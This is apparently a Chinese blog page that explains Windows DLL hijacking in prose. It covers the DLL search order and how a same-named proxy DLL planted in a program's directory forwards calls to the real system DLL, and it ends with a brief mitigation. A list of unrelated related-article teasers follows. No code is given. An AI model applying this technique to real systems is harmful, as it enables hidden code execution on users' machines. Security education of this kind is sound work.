由于输入表中只包含DLL名而没有它的路径名,因此加载程序必须在磁盘上搜 索 DLL 文件。首先会尝试从当前程
序所在的目录加载DLL,如果没找到,则在 Windows系统目录中查找,最后是在环境变量中列出的各个目录下查
找。利用 这个特点,先伪造一个系统同名的DLL,提供同样的输出表,每个输出函数转向
真正的系统DLL。程序调用系统DLL时会先调用当前目录下伪造的 DLL,完成相关功能后,再 跳到系统DLL同名函
数里执行。这个过程用个形象的词来描述,就是系统DLL被劫持 (hijack)了。伪造的dll制作好后,放到程序当
前目录下,这样当原程序调用原函数时就调 用了伪造的dll的同名函数,进入劫持DLL的代码,处理完毕后,再调
用原DLL此函数。
DLL劫持利用系统未知DLL的搜索路径方式,使得程序加载当前目录下的系统同名DLL。所以可 以告诉系统DLL的位
置,改变加载系统DLL的顺序不是当前目录,而是直接到系统目录下查找。
相关文章:
护网行动面试试题(2)
文章目录 51、常见的安全工具有哪些?52、说说Nmap工具的使用?53、近几年HW常见漏洞有哪些?54、HW 三(四)大洞56、获得文件读取漏洞,通常会读哪些文件57、了解过反序列化漏洞吗?58、常见的框架漏…...
使用WebSocket实时获取印度股票数据源(无调用次数限制)实战
使用WebSocket实时获取印度股票数据源(无调用次数限制)实战 一、前置准备 1. 获取API密钥 登录 StockTV开发者平台 → 联系客服获取测试Key(格式MY4b781f618e3f43c4b055f25fa61941ad),该密钥无调用次数限制且支持实时…...
阿里140 补环境日志
所有属性值是 __cheng________ 都是我做的防止套代理 非140环境检测代码 这个日志绝大多数 是做和浏览器tostring结果 处理一致 方法: toString 函数: ...... 结果: ..... 当前代码补了事件和dom 实际手补 比这少些 下方为环境日志: VM526 vm.js:…...
uniapp map组件的基础与实践
UniApp 中的 map 组件用于在应用中展示地图,并且支持在地图上添加标记、绘制线条和多边形等功能。以下是一些基本用法: 1. 基本结构 首先,确保你在页面的 .vue 文件中引入了 map 组件。以下是创建一个简单地图的基本代码结构: <template><view class="con…...
在 Kali 上打造渗透测试专用的 VSCode 环境
Kali Linux 是渗透测试领域的首选操作系统,搭配一款高效的代码编辑器可以显著提升工作效率。Visual Studio Code(VSCode)以其轻量、强大的扩展性和跨平台支持,成为许多安全研究者的选择。本文将详细介绍如何在 Kali Linux 上安装 …...
《前端面试题:CSS3新特性》
CSS3新特性指南:从基础到实战详解 CSS3作为现代Web开发的核心样式标准,彻底改变了前端开发者的工作方式。它不仅解决了传统CSS的诸多痛点,还引入了强大的布局模型、动画系统和响应式设计能力。本文将全面解析CSS3的十大核心新特性࿰…...
极速互联·智控未来——SG-Can(FD)Hub-600 六通道CANFD集线器
工业通信的全维进化,CANFD高速网络的终极枢纽! 核心革新 CANFD协议深度支持:名义波特率5K-1Mbps,数据域速率飙升至5Mbps(较传统CAN提升5倍),开启位速率转换最低100Kbps,完美兼容新旧…...

OpenVINO环境配置--OpenVINO安装
TOC环境配置–OpenVINO安装 本节内容 OpenVINO 支持的安装方式有很多种,每一种操作系统以及语言都有对应的安装方法,在官网上有很详细的教程: 我们可以根据自己的需要,来点选环境配置和安装方法,然后网页会给出正…...
Linux top 命令 的使用总结
以下是 Linux top 命令 的使用总结,按功能分类整理,方便快速查询: 一、命令行参数 参数描述示例-d <秒数>设置刷新间隔时间top -d 2(每2秒刷新)-p <PID>监控指定进程IDtop -p 1234(仅显示PID为1234的进程)-u <用户名>显示指定用户的进程top -u root(…...
ajax学习手册
Ajax 通俗易懂学习手册 目录 Ajax 基础概念XMLHttpRequest 详解Fetch API (现代方式)处理不同数据格式错误处理和状态码Ajax 高级技巧实战项目案例最佳实践 Ajax 基础概念 什么是 Ajax? Ajax Asynchronous JavaScript And XML 通俗解释: Ajax 就像…...
Python爬虫实战:研究urlunparse函数相关技术
1. 引言 1.1 研究背景与意义 在当今信息爆炸的时代,互联网上的数据量呈现出指数级增长。如何从海量的网页数据中高效地获取有价值的信息,成为了学术界和工业界共同关注的问题。网络爬虫作为一种自动获取网页内容的技术,能够按照预定的规则遍历互联网上的网页,并提取出所需…...
[蓝桥杯]采油
采油 题目描述 LQ 公司是世界著名的石油公司,为世界供应优质石油。 最近,LQ 公司又在森林里发现了一大片区域的油田,可以在这个油田中开采 nn 个油井。 LQ 公司在这 nn 个油井之间修建了 n−1n−1 条道路,每条道路连接两个油井…...
OpenLayers 地图定位
注:当前使用的是 ol 5.3.0 版本,天地图使用的key请到天地图官网申请,并替换为自己的key 地图定位功能很常见,在移动端和PC端都需要经常用到,像百度、高德、谷歌都提供了方便快捷的定位功能。OpenLayers中也提供了定位的…...

黑龙江云前沿服务器租用:便捷高效的灵活之选
服务器租用,即企业直接从互联网数据中心(IDC)提供商处租赁服务器。企业只需按照所选的服务器配置和租赁期限,定期支付租金,即可使用服务器开展业务。 便捷快速部署:租用服务器能极大地缩短服务器搭建周期…...
PyTorch中matmul函数使用详解和示例代码
torch.matmul 是 PyTorch 中用于执行矩阵乘法的函数,它根据输入张量的维度自动选择适当的矩阵乘法方式,包括: 向量内积(1D 1D)矩阵乘向量(2D 1D)向量乘矩阵(1D 2D)矩…...

论文解读:Locating and Editing Factual Associations in GPT(ROME)
论文发表于人工智能顶会NeurIPS(原文链接),研究了GPT(Generative Pre-trained Transformer)中事实关联的存储和回忆,发现这些关联与局部化、可直接编辑的计算相对应。因此: 1、开发了一种因果干预方法,用于识别对模型的事实预测起…...
NoSQl之Redis部署
一、Redis 核心概念与技术定位 1. 数据库分类与 Redis 的诞生背景 关系型数据库的局限性 数据模型:基于二维表结构,通过 SQL 操作,强一致性(ACID 特性),适合结构化事务场景(如银行转账、订单管…...

学习设计模式《十二》——命令模式
一、基础概念 命令模式的本质是【封装请求】命令模式的关键是把请求封装成为命令对象,然后就可以对这个命令对象进行一系列的处理(如:参数化配置、可撤销操作、宏命令、队列请求、日志请求等)。 命令模式的定义:将一个…...

十三、【核心功能篇】测试计划管理:组织和编排测试用例
【核心功能篇】测试计划管理:组织和编排测试用例 前言准备工作第一部分:后端实现 (Django)1. 定义 TestPlan 模型2. 生成并应用数据库迁移3. 创建 TestPlanSerializer4. 创建 TestPlanViewSet5. 注册路由6. 注册到 Django Admin 第二部分:前端…...

手撕 K-Means
1. K-means 的原理 K-means 是一种经典的无监督学习算法,用于将数据集划分为 kk 个簇(cluster)。其核心思想是通过迭代优化,将数据点分配到最近的簇中心,并更新簇中心,直到簇中心不再变化或达到最大迭代次…...

SmolVLA: 让机器人更懂 “看听说做” 的轻量化解决方案
🧭 TL;DR 今天,我们希望向大家介绍一个新的模型: SmolVLA,这是一个轻量级 (450M 参数) 的开源视觉 - 语言 - 动作 (VLA) 模型,专为机器人领域设计,并且可以在消费级硬件上运行。 SmolVLAhttps://hf.co/lerobot/smolvla…...

day45python打卡
知识点回顾: tensorboard的发展历史和原理tensorboard的常见操作tensorboard在cifar上的实战:MLP和CNN模型 效果展示如下,很适合拿去组会汇报撑页数: 作业:对resnet18在cifar10上采用微调策略下,用tensorbo…...

AIGC赋能前端开发
一、引言:AIGC对前端开发的影响 1. AIGC与前端开发的关系 从“写代码”到“生成代码”传统开发痛点:重复性编码工作、UI 设计稿还原、问题定位与调试...核心场景的AI化:需求转代码(P2C)、设计稿转代码(D2…...

Web 3D协作平台开发案例:构建制造业远程设计与可视化协作
HOOPS Communicator为开发者提供了丰富的定制化能力,助力他们在实现强大 Web 3D 可视化功能的同时,灵活构建符合特定业务需求的工程应用。对于希望构建在线协同设计工具的企业而言,如何在保障性能与用户体验的前提下实现高效开发,…...

AI Agent开发第78课-大模型结合Flink构建政务类长公文、长文件、OA应用Agent
开篇 AI Agent2025确定是进入了爆发期,到处都在冒出各种各样的实用AI Agent。很多人、组织都投身于开发AI Agent。 但是从3月份开始业界开始出现了一种这样的声音: AI开发入门并不难,一旦开发完后没法用! 经历过至少一个AI Agent从开发到上线的小伙伴们其实都听到过这种…...
极空间z4pro配置gitea mysql,内网穿透
极空间z4pro配置gitea mysql等记录,内网穿透 1、mysql、gitea镜像下载,极空间不成功,先用自己电脑科学后下载镜像,拉取代码: docker pull --platform linux/amd64 gitea/gitea:1.23 docker pull --platform linux/amd64 mysql:5.…...

第三方测试机构进行科技成果鉴定测试有什么价值
在当今科技创新的浪潮中,科技成果的鉴定测试至关重要,而第三方测试机构凭借其独特优势,在这一领域发挥着不可替代的作用。那么,第三方测试机构进行科技成果鉴定测试究竟有什么价值呢? 一、第三方测试机构能提供独立、公…...

华为云Flexus+DeepSeek征文|基于华为云Flexus X和DeepSeek-R1打造个人知识库问答系统
目录 前言 1 快速部署:一键搭建Dify平台 1.1 部署流程详解 1.2 初始配置与登录 2 构建专属知识库 2.1 进入知识库模块并创建新库 2.2 选择数据源导入内容 2.3 上传并识别多种文档格式 2.4 文本处理与索引构建 2.5 保存并完成知识库创建 3接入ModelArts S…...

【数据结构】_排序
【本节目标】 排序的概念及其运用常见排序算法的实现排序算法复杂度及稳定性分析 1.排序的概念及其运用 1.1排序的概念 排序:所谓排序,就是使一串记录,按照其中的某个或某些关键字的大小,递增或递减的排列起来的操作。 1.2特性…...
《前端面试题:JS数据类型》
JavaScript 数据类型指南:从基础到高级全解析 一、JavaScript 数据类型概述 JavaScript 作为一门动态类型语言,其数据类型系统是理解这门语言的核心基础。在 ECMAScript 标准中,数据类型分为两大类: 1. 原始类型(Pr…...